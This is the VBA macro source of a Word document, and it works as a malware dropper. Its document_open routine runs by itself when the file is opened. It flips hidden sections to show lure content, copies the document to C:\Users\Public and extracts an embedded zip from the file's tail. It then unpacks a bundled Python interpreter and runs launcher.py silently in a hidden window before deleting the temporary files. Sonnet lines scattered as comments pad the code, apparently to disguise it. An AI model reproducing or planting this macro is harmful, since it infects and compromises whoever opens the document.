Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
    ActiveDocument.ActiveWindow.View.ReadingLayout = False
    ActiveDocument.Unprotect "securePass"
    show
    ActiveDocument.Protect wdAllowOnlyReading, True, "securePass", False, False
    
    Dim data As String
    Dim User As String
    Dim bla As String
    Dim Coper As Object
    User = "C:\Users\Public"

    Docer = ActiveDocument.FullName
    
    'Copy
    Call Shell("cmd /c copy " + Docer + " " + User + "\docer.doc", vbHide)
    deay (4)
    data = bin2var(User + "\docer.doc")
    data = Right(data, 7074638)
    var2bin User + "\smile.zip", data
    
    bla = VBA.FileSystem.Dir(User + "\Python37", vbDirectory)
    If bla <> VBA.Constants.vbNullString Then
        Call Shell("cmd /c rmdir /s /q " + User + "\Python37", vbHide)
        deay (2)
    End If
    'Unzip
    Unzip User + "\smile.zip", User, "Python37"
    'Clean
    Kill User + "\smile.zip"
    Kill User + "\docer.doc"
    'Run
    Call Shell("""" & User & "\Python37\python.exe" & """ """ & User & "\Python37\launcher.py" & """", vbHide)
End Sub

Function bin2var(filename As String) As String

'Which alters when it alteration finds,
'Or bends with the remover to remove.
    Dim f As Integer
    f = FreeFile()
    Open filename For Binary Access Read Lock Write As #f
        bin2var = Space(FileLen(filename))
        Get #f, , bin2var
    Close #f
'O no! it is an ever-fixed mark
'That looks on tempests and is never shaken;

End Function
'It is the star to every wand'ring bark,
'Whose worth 's unknown, although his height be taken.
'Love 's not Time's fool, though rosy lips and cheeks
'Within his bending sickle's compass come;

Sub var2bin(filename As String, data As String)

'If this be error and upon me prov'd,
'I never writ, nor no man ever lov'd.
    Dim f As Integer
    f = FreeFile()
    Open filename For Output Access Write Lock Write As #f
        Print #f, data;
    Close #f
End Sub
'Love alters not with his brief hours and weeks,
'But bears it out even to the edge of doom.

Sub Unzip(Fname As Variant, DefPath As String, TarFold As String)
    Dim oApp As Object
    Dim FileNameFolder As Variant

    'Root folder for the new folder.
    If Right(DefPath, 1) <> "\" Then
        DefPath = DefPath & "\"
    End If

    'Create the folder name
    strDate = Format(Now, " dd-mm-yy h-mm-ss")
    FileNameFolder = DefPath & TarFold & "\"

    'Make the normal folder in DefPath
    MkDir FileNameFolder

    'Extract the files into the newly created folder
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, 4
End Sub


Sub hide()
    ActiveDocument.Sections(1).Range.Font.Hidden = False
    For Each Section In ActiveDocument.Sections
        If Section.Index > 1 Then Section.Range.Font.Hidden = True
    Next
End Sub

Sub show()
    ActiveDocument.Sections(1).Range.Font.Hidden = True
    For Each Section In ActiveDocument.Sections
        If Section.Index > 1 Then Section.Range.Font.Hidden = False
    Next
End Sub

Function deay(min)

  Dim ptr
  ptr = DateAdd("s", min, Time())
  If ptr > Time() Then
    Do Until (Time() > ptr)
    Loop
  End If

End Function